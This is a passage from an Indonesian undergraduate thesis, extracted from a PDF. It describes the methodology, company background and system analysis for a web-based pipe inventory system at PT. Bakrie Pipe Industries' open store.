No Sumber Abstrak Kelebihan Kekurangan

1 Sri Damayanti 2010 Prodi Sistem

Informasi Sistem dengan judul

Informasi Manajemen Persediaan

Obat-obatan di RS. Ananda Bekasi

STMIK (Skolah Tinggi Manajemen

Informatika & Komputer) BANI

SALEH Bekasi

Pengendalian, perencanaan, jenis-jenis

obatan dan sistem informasi. Penelitian ini

dilakukan selama 6 bulan di Rumah Sakit

Ananda tentang pengendalian obat-obatan.

Pengendalian obat-obatan RS. Ananda

sangat penting karena: jumlah jenis obat

yang banyak tidak terjadi kekurangan/

kelebihan atas ketersediaan jenis obat.

- Sudah adanya sistem

untuk pengendalian

barang (obat)

- sistem masih bersifat

stand alone belum

adanya sistem yang

terintegrasi.

- metodologi

penelitian masih

menggunakan metode

deskriptif, belum

menggunakan metode

pengembangan sistem

2 Megi Martin Kusuma 2010 Prodi Permasalahan yang terjadi pada PT. Bina - Sudah adanya data - Aplikasi masih

Tabel 2.2 Literatur Sejenis

Page 96: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Sistem Informasi dengan judul

Sistem Informasi Kontrol Persediaan

Barang Guna Meningkatkan

Tercapainya Target Produksi pada

PT. BINA PLASPAC INDONESIA

BEKASI STMIK (Sekolah Tinggi

Manajemen Informatika &

Komputer) BANI SALEH Bekasi

Plaspac Indonesia Bekasi adalah

pengolahan data-data yang masih manual

dalam mengolah informasi di bagian

persediaan barang. Hal ini menyebabkan

seering terjadi masalah dalam menangani

penyimpanan barang dalam gudang

diantaranya kesalahan dalam pencatatan

barang, kesulitan dalam pembuatan laporan

persediaan per periode, serta pencarian data

yang sering membutuhkan waktu lama,

informasi stok/ persediaan tidak setiap saat

bisa dilihat. Selain itu kelemahan lain

adalah pencatatan data yang akan

dilaporkan harus diproses ulang (berulang-

ulang) bila akan membuat laporan, hal ini

persediaan stok dan

laporan yang dapat

dilihat.

- Aplikasi berbasis

Web dan

menggunakan

database SQL Server

menggunakan

jaringan LAN bukan

internet.

- Laporan yang

ditampilkan belum

dinamis.

Page 97: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

71

memungkinkan terjadinya kesalahan dan

mengakibatkan suatu informasi yang

dibutuhkan tidak dapat dijadikan referensi

untuk proses evaluasi, analisis, serta

pengambilan keputusan yang cepat oleh

pimpinan.

Sebagai solusi untuk memecahkan maslalah

tersebut penulis mencoba mengusulkan

sistem informasi berbasis komputer dimana

pengolahan data penyimpanan data terpusat

sehingga dapat menyelesaikan pekerjaan

lebih cepat dan menghasilkan stok dan

laporan yang dapat dilihat dan di update

setiap saat sesuai dengan kebutuhan.

3 Hesty Pratiwi 2010 Prodi Sistem Setiap perusahaan selalu membutuhkan - Adanya data - Metodologi yang

Page 98: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Informasi dengan Judul Analisa

Sistem Informasi Persediaan

Groceries PAM JAYA Jakarta

Timur STMIK (Sekolah Tinggi

Manajemen Informatika dan

Komputer) BANI SALEH Bekasi

persediaan, persoalan persediaan yang perlu

dipecahkan adalah bagaimana perusahaan

mampu memprediksi dengan tepat

kebutuhan akan bahan baku dan juga barang

jadi, bagaimana perusahaan dapat

menyediakan persediaan yang tepat oada

waktunya sesuai dengan jumlah diperlukan.

Persediaan barang sebagai elemen utama

dari modal kerja, dan merupakan aktiva

yang selalu dalam keadaan berputar dan

terus menerus mengalami perubahan.

Tingkat perputaran persediaan barang

disebut inventory turner. Tinggi rendahnya

perputaran persediaan mempunyai pengaruh

langsung terhadap besar kecilnya kebutuhan

perputaran persediaan

barang jadi

- Adanya laporan

keuangan.

digunakan masih

memakai metodde

deskriptif yaitu

metode yang

didasarkan dari hasil

pengamatan

(observasi) langsung

di lapangan pada

saat dilakukan.

- Database masih

menggunakan access

sehingga tidak

optimal untuk

mengakses data yang

banyak

Page 99: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

73

modal kerja perusahaan. Berdasarkan hal

tersebut, penulis memberikan judul pada

penelitian yaitu “ Pengaruh Tingkat

Perputaran Persediaan Barang Jadi

Terhadap Modal Kerja Pada PAM JAYA”

Page 100: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

74

BAB III

METODOLOGI PENELITIAN

3.1 Metode Pengumpulan Data

Metode pengumpulan daya yang peneliti lakukan untuk mempermudah

penyusunan skripsi ini sebagai berikut:

3.1.1 Studi Pustaka

Pada metode studi pustaka, peneliti mengumpulkan dan memperlajari buku-

buku yang berhubungan dengan masalah yang dibahas. Dalam sistem inventory

management ini yang merupakan bagian data-data pustaka, yaitu:

a. Buku Metode Desain & Analisa Sistem Edisi 6 karya Jeffrey L. Whitten, 2004.

b. Buku Manajemen Persediaan Karya Richardus Eko Indrajit & Richardus Djoko

Pranoto, 2003.

Jumlah buku-buku buku yang digunakan untuk referensi totalnya ada 23 buku

untuk selengkapnya dapat dilihat pada daftar pustaka.

3.1.2 Studi Lapangan

1. Observasi

Peneliti mengumpulkan data dan informasi dengan melakukan

pengamatan secara langsung ke lapangan terhadap suatu kegiatan yang sedang

berjalan untuk memperoleh data yang dibutuhkan.

Pengamatan penelitian dilakukan pada:

Tempat : PT. Bakrie Pipe Industries

Page 101: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

75

Jl. Raya Pejuang KM. 27 Pondok Ungu Medan Satria

Bekasi Utara 17131.

Waktu : Februari 2012

Informasi yang dapat dikumpulkan berdasarkan pengamatan yang peneliti

lakukan sebagai berikut:

a. Gambaran singkat PT. Bakrie Pipe Industries

b. Produk di PT. Bakrie Pipe Industries

c. Proses penyimpanan sampai dengan proses pengeluaran produk dari open

store pada PT. Bakrie Pipe Industries.

d. Sistem komputerisasi yang belum terintegrasi dengan baik.

3.1.3 Wawancara

Wawancara dilakukan dengan Bapak Riyadi Teguh M. sebagai supervisor

bagian open store pada PT. Bakrie Pipe Industries untuk memperoleh data-data dan

informasi yang dibutuhkan dalam pembangunan sistem informasi Inventory

management open store. Tujuan wawancara ini adalah mendapatkan informasi yang

dibutuhkan dalam perancangan sistem informasi Inventory management open store ini.

Wawancara dilakukan pada 05 Maret 2012. Pertanyaan yang diajukan dan setiap

pertanyaan dijawab langsung oleh bapak Riyadi Teguh M. Berdasarkan hasil

wawancara yang peneliti lakukan didapat beberapa informasi yang berguna dalam

pembuatan sistem informasi Inventory management open store khususnya untuk proses

produk barang jadi (good pipe) yang masuk ke open store sampai kepada proses

pengeluaran produk jadi tersebut untuk dikirim.

Page 102: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

3.1.4 Studi Literatur Sejenis

Peneliti membandingkan apakah literatur sebelumnya dapat membantu

dalam pengembangan sistem yang diusulkan. Selain itu peneliti juga membandingkan

apakah sistem yang dikembangkan memiliki kelebihan dari sistem yang dibuat

berdasarkan literatur sejenis atau sebelumnya ditempat lain yang telah menggunakan

sistem informasi tersebut. Studi literatur sejenis yang diambil oleh peneliti dapat dilihat

pada akhir bab II.

3.2 Metodologi Pengembangan Sistem

Pada pembahasan ini, penulis menggunakan metodologi Rapid Application

Development (RAD)/ Pengembangan Aplikasi Cepat yang telah menjadi alur yang

terkenal dalam mengakselerasi pengembangan sistem. Penulis menggunakan metode ini

karena menurut penulis, metode ini merupakan metode yang paling cocok dalam

pengembangan aplikasi ini karena lebih menekankan pada pembuatan aplikasi/

prototipe dengan melakukan pendekatan kepada user atau pengguna sistem ini dalam

pencapaian solusi dari permasalahan yang ada.

Pada alur prose RAD, penulis membatasi dengan hanya melalui beberapa

tahapan yaitu dari Scope Definition sampai dengan tahapan Construction & Testing,

selebihnya diserahkan pada pihak perusahaan dalam mengelola aplikasi ini.

Adapun dalam tahap pengembangan sistem ini terdiri dari beberapa aktivitas

yang tentunya sesua dengan tahapan yang sebelumnya telah dijabarkan pada alur proses

pengembangan sistem. Tahapan tersebut yaitu:

3.2.1 Mendefinisikan Lingkup (Scope Definition)

Page 103: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

77

Fase pertama pengembangan sistem ini adalah mendefinisikan lingkup sistem,

yang artinya menentukan tingkat atau ukuran dan batas-batas pengebangan sistem.

Tahap ini juga menggambarkan dengan jelas dan singkat tentang masalah, kesempatan

dan perintah yang memicu pengembangan aplikasi. Lingkup dapat didefinisikan dengan

istilah informasi, fungsi dan antarmuka. Lingkup memang dapat dan sering berubah

selama proses pelaksanaannya.

3.2.2 Analisis Sistem (Analysis)

Tujuan utama dari analisis berorientasi objek adalah memodelkan sistem yang

nyata dengan penekanan pada apa yang harus dilakukan, bukannya bagaimana

melakukannya. Hasil utama dari analisis sistem adalah pemahaman sistem seutuhnya

sebagai persiapan menuju ke tahap perancangan.

Ada 2 fase dalam tahapan analisis sistem pada alur pengembangan siste RAD,

yaitu:

a. Analisis sistem berjalan menggunakan analisi PIECES yang mempelajari

sistem yang ada atau sistem yang berjalan dengan pemahaman mendalam akan

masalah-masalah pengembangan sistem.

b. Analisis sistem usulan, mendefinisikan sistem yang akan diusulkan dari analisis

sistem yang berjalan, sehingga terdapat solusi dari masalah-masalah yang ada

pada sistem yang berjalan.

3.2.3 Perancangan Sistem (Design)

Page 104: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Dalam pengembangan sistem ini, penulis menggunakan metode Desain

Berorientasi Objek/ Object Oriented Design (OOD). Dengan UML (Unified Modelling

Language) sebagai tools untuk perancangan dan pengembangan aplikasinya.

Namun tidak semua diagram yang disediakan oleh UML, digunakan oleh

penulis dalam desain/ perancangan sistem ini. Hanya beberapa diagram saja yang

digunakan oleh penulis, yaitu diagram-diagram yang menurut penulis dapat mendukung

perancangan aplikasi ini. Adapun beberapa diagram berikut ini:

a. Use Case Diagram: merupakan diagram yang menjelaskan aktifitas apa saja yang

dilakukan oleh sistem yang akan dibangun dan siapa yang berinteraksi dengan

sistem tersebut.

b. Activity Diagram : Merupakan diagram yang menggambarkan berbagai alir

aktifitas dalam sistem yang sedang dirancang, bagaimana masing-masing alir

berawal, decision yang mungkin terjadi dan bagaimana mereka berakhir. Activity

diagram juga dapat menggambarkn proses parallel yang mungkin terjadi pada

beberapa eksekusi.

c. Sequence Diagram : Merupakan diagram yang menjelaskan secara detail urutaan

proses yang dilakukan oleh sistem untuk mencapai tujuan dari use case, interaksi

yang terjadi antar class, operasi apa saja yang terlibat, urutan antar operasi dan

informasi yang diperlukan oleh masing-masing operasi.

d. Class Diagram: Merupakan diagram yang selalu ada pada pemodelan sistem yang

berorientasi objek. Class diagram menunjukkan hubungan antar class dalam sistem

yang sedang dibangun dan bagaimana mereka saling berkolaborasi untuk mencapai

suatu tujuan.

Page 105: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

79

3.2.4 Implementasi Sistem (Construction & Testing)

Setelah melakukan analisis sistem dan perancangan sistem secara rinci, maka

tiba saatnya sistem untuk diimplementasikan. Pada tahap ini terdapat banyak aktifitas

yang dilakukan. Aktifitas-aktifitas yang dimaksud berupa:

3.2.4.1 Permrograman

Pada tahap pemrograman, penulis menggunakan bahasa pemrograman PHP 5

sebagai bahasa pemrogramannya, sedangkan software yang digunakan daladm

pembuatan aplikasi ini yaitu menggunakan Adobe Dreamweaver sebgai software untuk

membuat Graphical User Interface (GUI) dan sebagai software yang menunjang

database pada aplikasi ini, penulis menggunakan MySQL karena mendukung untuk

infrastruktur jaringan.

3.2.4.2 Pengujian

Setiap program menjalani pengujian secara probadi untuk memastikan bahwa

program yang telah kita buat bisa bebas dari kesalahan (bug), walaupun tidak menutup

kemungkinan masih terjadi sedikit bug atau tidak 100% bebas dari bug, namun

pengujian ini setidknya bisa meminimalisasi kesalahan yang akan terjadi.

Pada tahap ini, penulis menggunakan metode pengujian unit dengan

pendekatana black-box testing.

3.3 Kerangka Penelitian

Dalam melakukan penelitian ini, peneliti melakukan tahapan-tahapan kegiatan

dengan mengikuti rencana kegiatan yang tertuang dalam kerangka penelitian meliputi

Page 106: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

metode pengumpulan data dan metode pengembangan sistem. Berikut ini dapat dilihat

Gambar 3.1 Kerangka Penelitian.

Kerangka Penelitian

Gambar 3.1 Kerangka Penelitian

Pengumpulan Data

Pengembangan Data

Metodologi Pengumpulan

Data

Metode Pengembangan

Sistem Rapid Application

Development System

(RAD) oleh Whitten, 2004

Studi Pustaka

Studi Lapangan

Studi Literatur

Sejenis

Scope Definiton

Analysis

Design

Construction

& Testing

Observasi

Wawancara

Gambaran Umun Perusahaan

Lingkungan Penelitian

Kelemahan Sistem Yang Berjalan

Analisis Sistem Usulan

Use Case Diagram

Activity Diagram

Sequence Diagram

Class Diagram

Pemrograman

Pengujian Blackbox Testing

Desain

Sistem

Desain

Interface

SistemTampilan interface

Page 107: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

81

BAB IV

SISTEM INVENTORY MANAGEMENT OPEN STORE

4.1 Sekilas Tentang Perusahaan

4.1.1 Gambaran Umum Perusahaan

Pada Tahun 1959 PT. Bakrie & Brothers mendirikan pabrik pipa baja yang

diberi nama “TALANG TIRTA” di Jakarta. Pada waktu itu Bakrie baru dapat

memproduksi pipa baja berdiameter 5/8 inchi sampai dengan 1 ¼ inchi (conduit pipe),

dengan desain kapasitas produksi sebanyak 3000 ton pertahun. Sejak saat itu pipa baja

Bakrie sangat dikenal luas di masyarakat. Perkembangan berikutnya pada tahun 1972

Bakrie berhasil meningkatkan produksinya hingga mencapai 25.000 ton pertahun

dengan diameter hingga 4 inchi (conduit pipe, water pipe, pipe for ordinary uses).

Pada tahun 1978 ekspansi dilakukan dan Bakrie berhasil memproduksi pipa

sampai dengan diameter 6 5/8 inchi serta memproduksi pipa dengan spesifikasi API 5L

(pipes for oil and gas industries). Tahun 1979 American Petroleum Institute (API)

memberikan pengakuan kepada Bakrie untuk menggunakan monogram API pada

setiap produk API 5L yang diproduksi.

Dua tahun setelah itu PT. Bakrie Pipe Industries didirikan menempati lahan

seluas 38 Ha di wilayah Bekasi- Jawa Barat. Pada saat itu PT. Bakrie Pipe Industries

mampu memproduksi pipa baja sampai diameter 16 inchi dengan kapasitas 70.000 ton

per tahun. Pada tahun 1984, PT. Bakrie Pipe Industries untuk kedua kalinya

mendapatkan pengakuandari America Petroluem Industries (API) untuk menggunakan

monogram API pada setiap pipa API 5L yang diproduksi.

Page 108: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Derap pembangunan Indonesia melangkah pasti, dan pada tahun 1995 PT.

Bakrie Pipe Industries kembali melakukan ekspansi pabriknya dengan memasang mesin

KT 24 (Kaiser Torrance 24 inchi) dan VAI 4 (Voest Alpine 4 inchi) yang dapat

memproduksi pipa baja hingga 24 inchi. Kini PT. Bakrie Pipe Industries memiliki total

desain kapasitas produksi hingga 310.000 ton per tahunnya. Pada tahun 2000, PT.

Bakrie Pipe Industries juga telah mendapatkan kepercayaan dari American Petroleum

Institute (API) untuk menggunakan monogram API pada setiap produk pipa API 5CT

(casing & tubing) yang diproduksi.

4.1.2 Logo Perusahaan

Arti dari logo bakrie adalah

Dua garis tebal lengkung berwarna merah bata (terakota) mencerminkan tanah

khas Indonesia yang subur. Bentuk ini seakan-akan terbagi dua oleh bidang putih

di tengahnya, menandakan tanah yang telah diolah/dibajak, yang berarti akan

semakin subur. Bentuk lengkung mengambil citra permukaan bumi yang bulat.

Titik-titik biru di atasnya mencerminkan langit semesta, dengan mengambil bentuk

susunan konstalasi bintang utara (meluku), melambangkan cita-cita yang tinggi

namun tidak melupakan tempat asalnya (bentuk alat bajak yang identik dengan

tanah subur)

Logo tidak dibatasi dengan kotak atau lingkaran, menandakan kedinamisan yang

tidak terbatas.

Komposisi grafis mengambil gaya seni disain modern, dimaksudkan untuk

memposisikan citra Bakrie ke masa depan (futuristic) yang membedakannya dari

perusahaan lain.

Page 109: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

83

Gambar 4.1 Logo Perusahaan

4.1.3 Visi dan Misi Perusahaan

1. Visi : Menjadi produsen pipa baja terkemuka di wilayah ASEAN

2. Misi PT. Bakrie Pipe Industries

Menyediakan produk yang dapat dipercaya, sesuai bahkan lebih baik dari persyaratan

yang ditetapkan pelanggan, dengan harga yang kompetitif dan pengiriman tepat waktu.

Mengoperasikan aktivitas bisnis senantiasa didasari nilai-nilai integritas, professional

dan profitabilitas, mengutamakan lingkungan kerja yang aman dan nyaman,

memuaskan pelanggan dan meningkatkan nilai investasi bagi pemegang saham.

Page 110: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

CHIEF EXECUTIVE

MANAGER

MANAGEMENT

REPRESENTATION

CHIEF FINANCIAL

OFFICER

CHIEF MARKETING

OFFICER

CHIEF OPERTATING

OFFICER

CHIEF LOGOSTIC

CHIEF HRA & CONTINOUS

IMPROVEMENT PROGRAM

SALES MANAGER OIL

& GAS

FINANCE MANAGER

ACOUNTING & TAX MANAGER

IT MANAGER

INTERNAL AUDIT & RISK MANAGER

SALES MANAGER

NON OIL & GAS

SALES MANAGER

EXPORT

GENERAL

MANAGER BEKASI

PLANT

GENERAL

MANAGER SEAPI

PLANT

PRODUCTION

MANAGER

QUALITY & SHE

MANAGER

MAINTENANCE

MANAGER

METHOD &

TECHNOLOGY

MANAGER

HRD PROCUREMENT

MANAGER

PURCHASING

MANAGER

PPIC MANAGER

TRANSPORTATION

MANAGER

GA & IND. RELATION

MANAGER

REMUNERATION

MANAGER

CONTINOUS

IMPROVEMENT

MANAGER

4.1.4 Struktur Organisasi

Berikut adalah susunan organisasi dari PT. Bakrie Pipe Industries mulai dari Chief Executive sampai kepada bagian-

bagian dibawahnya.

Gambar 4.2 Struktur Organisasi pada PT. Bakrie Pipe Industries

Page 111: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

85

4.1.4.1 Struktur Organisasi Lanjutan PPIC Manager

Gambar 4.3 ini adalah turunan dari bagian PPIC Manager dan ada petugas-petugas yang ada dalam bagian

tersebut.

Gambar 4.3 Struktur Organisasi Lanjutan PPIC Manager pada PT. Bakrie Pipe Industries

PPIC Manager

Storage Supervisor

Tallyman Foreman Lapangan

Page 112: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

A. Uraian Tugas

Berdasarkan dari gambar struktur organisasi PT. Bakrie Metal Industries

akan diuraikan tentang tugas masing-masing yang terlibat dalam inventory

management open store yaitu:

1. PPIC Manager

a. Mengadakan rapat secara periodik untuk menilai dan mengevaluasi kegiatan

dari bawahannya dan memberikan petunjuk untuk meningkatkan prestasi di

masa mendatang.

b. Mengkoordinasi seluruh aktivitas yang ada dalam bagian PPIC perusahaan.

c. Menerima dan meminta laporan dari tiap bagian unit kerja secara berkala yang

kemudian diteruskan pada Chief Logistic.

2. Supervisor (Inventory Open Store)

a. Mengawasi dan mengevaluasi pipa hasil produksi sesuai order untuk kesiapan

tempat di storage dan assesoris, sehingga dapat diselesaikan sesuai waktu

yang telah ditentukan (due date) dari order tersebut.

b. Melakukan kontrol dan evaluasi serta analisa terhadap kualitas kerja dan stok

pipa dari keselamatan, keamanan dan kenyamanan sesuai peraturan yang di

telah tentukan.

c. Memberikan pengarahan kepada tim OS dalam peningkatan kinerja yang

sejalan dengan program dan kebijaksanaan departemen dan Perusahaan.

d. Meningkatkan kemampuan manajerial dalam meningkatkan motivasi bawahan

dan kerja sama dengan divisi lain dengan mengikuti pelatihan-pelatihan.

Page 113: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

87

e. Menjamin pipa ready stock terhadap pengiriman tepat waktu sesuai dengan

jadwal yang ditentukan departemen dan Perusahaan.

f. Menjamin komplain terhadap kesalahan kirim ke Customer.

g. Bertanggung jawab langsung kepada Manajer PPIC.

3. Foreman Lapangan

a. Mengatur mutasi pipa di OS agar memudahkan loading dan pendataan sesuai

dengan kesepakatan dengan administrasi OS.

b. Mengatur pengiriman pipa keluar dan masuk ke dalam OS

c. Bertanggung jawab terhadap kebersihan dan kerapihan penumpukan pipa di

OS.

4. Tallyman

a. Mengatur kesiapan tenaga kerja, alat/ sarana kerja.

b. Mengatur lokasi penerimaan pipa siap kirim.

c. Menjaga kebersihan dan kerapihan dilingkungan kerja.

d. Mencatat setiap batang pipa yang dikirim untuk diserahkan pada administrasi

OS

e. Mengawasi penerimaan dari produksi dan pengeluaran pipa dari OS untuk

dikirim ke pelanggan.

f. Mengawasi laporan pemesanan yang dilakukan oleh pelanggan dan melihat

stok yang ada dalam OS.

4.2 Mendefinisikan Lingkup (Scope Definition)

Untuk memfokuskan penelitian yang dilakukan, maka Peneliti akan

membatasi permasalahan dan lingkungan penelitian pada bagian inventory open

Page 114: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

store yang berada pada PT. Bakrie Pipe Industries. Bagian inventory open store

adalah sebuah bagian pada PT. Bakrie Pipe Industries yang memiliki tugas

menyimpan pipa-pipa jadi (good pipe) ke dalam Open Store dan mengeluarkan

pipa tersebut untuk dikirim ke pelanggan. Bagian tersebut bertanggung jawab

memberikan laporan kepada Manager yang mengawasi semua kegiatan yang ada

di PT. Bakrie Pipe Industries khususnya di bagian Open Store. Aplikasi sistem

inventory ini ditekankan pada pencatatan setiap pipa jadi (good pipe) yang masuk

dan keluar dari Inventory Open Store baik itu untuk dikirim ke pelanggan ataupun

di proses ulang ke bagian produksi karena pipa tersebut rusak. Sedangkan apabila

terdapat hal lain pada aplikasi sistem inventory ini, maka hal tersebut hanyalah

tambahan bagi aplikasi ini.

4.3 Analisis Sistem

4.3.1 Kelemahan Sistem Yang Berjalan

Berdasarkan hasil dari analisis yang diperoleh dari PT. Bakrie Pipe

Industries, penulis dapat menguraikan beberapa kelemahan pada sistem yang

berjalan, diantaranya:

Analisis PIECES Sistem yang sedang berjalan

Kinerja (Performance) Pembuatan laporan membutuhkan

waktu 60 menit karena media

penyimpanannnya melalui kertas.

Informasi(Information) Informasi yang diberikan bersifat

terbatas dan kurang akurat

Analisis ekonomi (Economic) Biaya yang banyak untuk mencetak

setiap laporan yang ada dan

memerlukan tempat untuk

menyimpan laporan-laporan yang

Page 115: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

89

ada

Keamanan atau kontrol (Security

or control)

Akan lebih mudah membagi user

berdasarkan tugas dan hak aksesnya

masing-masing

Efisiensi(eficiency) Karyawan harus memasukkan data

pipa ke dalam komputer

menggunakan Microsoft Excel

kemudian mencetak laporan,

sehingga memerlukan waktu dalam

proses pencatatan laporan. Layanan (Service) Proses pemesanan tidak tepat guna

karena pelanggan harus datang

langsung ke perusahaan

Sesuai dengan data dan informasi yang peneliti dapatkan selama melakukan

penelitian pada PT. Bakrie Pipe Industries. Maka peneliti dapat merumuskan

sistem berjalan pada bagian inventory open store adalah sebagai berikut:

Perusahaan PT. Bakrie Pipe Industries memiliki beberapa bagian,

diantaranya bagian produksi, pemasaran, bagian keuangan dan lain sebagainya.

Sistem inventory ini ditekankan untuk bagian open store. Bagian open

store pada PT. Bakrie Pipe Industries adalah bagian yang menyimpan pipa yang

telah di buat/ pipa jadi (good pipe) oleh bagian produksi, mengatur persediaan

pipa, memberikan laporan kondisi pipa jadi dan pipa yang harus di produksi ulang

karena rusak, serta memberikan laporan pipa yang dikeluarkan oleh Open Store

untuk dikirim kepada pelanggan.

Pada sistem yang berjalan saat ini, semua user melakukan perintah kerja

dan segala kegiatan pelaporan dilakukan ada yang dengan manual tetapi ada juga

yang dilakukan dengan komputer namun tidak terintegrasi dengan seluruh sistem

yang ada dalam open store.

Page 116: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Sebagai contoh, dapat peneliti berikan gambaran alur yang biasa terjadi dalam

keseharian proses yang terjadi pada PT. Bakrie Pipe Industries, sebagai

berikut:

1. Foreman Lapanagan menerima pipa jadi (good pipe) masuk dari bagian

produksi dan kemudian memberikan dokumen pipa masuk ke admin OS untuk

dicatat.

2. Admin open store melihat laporan work order agar dapat memisahkan pipa

yang sudah di pesan terlebih dahulu agar siap untuk dikeluarkan dari open

store atau dikirim.

3. Admin open store membuat laporan stok dan work order.

4. Foreman lapangan selalu melihat keadaaan pipa dalam kondisi baik atau rusak

agar dapat di kirim ke bagian produksi untuk di reproduksi dan mengatur tata

letak pipa sesuai dengan work order atau stok.

5. Manager menerima laporan secara berkala dari semua kegiatan yang ada

dalam open store.

Page 117: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

91

Gambar 4.4 Rich Picture Sistem Inventory Open Store yang sedang berjalan

Gambar 4.4 adalah gambaran keseharian yang terlihat pada PT. Bakrie

Pipe Industries dalam melakukan perintah yang ada dalam Open Store. Pencatatan

transaksi masih menggunakan lembaran kertas yang kemudian dipindahkan ke

dalam komputer melalui program MS. Excel dan masih stand alone sehingga

tidak bisa diakses oleh manager secara langsung.

Sesuai dengan analisa yang peneliti lakukan, peneliti mendapatkan

permasalahan yang sering terjadi pada sistem berjalan, yaitu :

1. Pencatatan masih dalam lebaran kertas kemudian dipindahkan ke dalam

komputer serta masih stand alone.

2. Kebutuhan karyawan atas pelayanan yang memerlukan proses cepat dan tepat.

3. Pengolahan laporan berkala untuk Manager masih terbatas karena tidak dapat

dilakukan sewaktu-waktu.

Page 118: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

4.3.1.2 Analisis Sistem Usulan

Setelah melihat data maupun informasi yang dibutuhkan dan melihat

sistem berjalan pada PT. Bakrie Pipe Industries sepintas tidak memiliki kendala

yang berarti, namun bila melihat langsung pada prakteknya di lapangan sistem

yang berjalan memiliki kendala. Yaitu dalam hal sistem aplikasi pengolahan

barang di open store dimana di dalamnya mengenai penyimpanan data barang,

penyimpanan data pembeli, penyimpanan data persediaan barang, input data

barang masuk, transaksi-transaksi, hingga tahap laporan. Dalam hal ini suatu

pengolahan data pada perusahaan tersebut sangat membutuhkan aplikasi yang

dapat menjadi solusi dari kendala-kendala tentunya dapat memudahkan kinerja

karyawan sehingga kegiatan perusahaan dapat berjalan efektif, lancar dan efisien.

Pada Sistem yang akan diusulkan terdapat 4 pengguna sistem, yaitu: user

manager yang memiliki akses pada sistem ini hanya untuk melihat laporan-

laporan data barang masuk dan keluar, data pembeli dan laporan data ready stock

yang tersedia digudang. Yang kedua ialah user admin_OS yang memiliki hak

akses untuk sistem ini antara lain untuk meng-input data-data barang masuk dan

keluar, data Work Order, data pembeli dan meng-input data reproduksi pipa yang

ada di dalam open store. Ketiga, user tallyman yang memiliki hak akses pada

sistem ini untuk mengecek ketersediaan barang dan reproduksi pipa didalam open

store. Keempat, user marketing yang memiliki hak akses memasukkan data work

order dan data pembeli.

Page 119: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

93

Pada tahapan ini, peneliti menggunakan metode RAD (Rapid Application

Development) dan Unified Modelling Language (UML) sebagai tools untuk

menvisualisasikan sistem yang sedang berjalan.

Server

Bagian_Produksi

10.

Laporan_Pipa_masuk

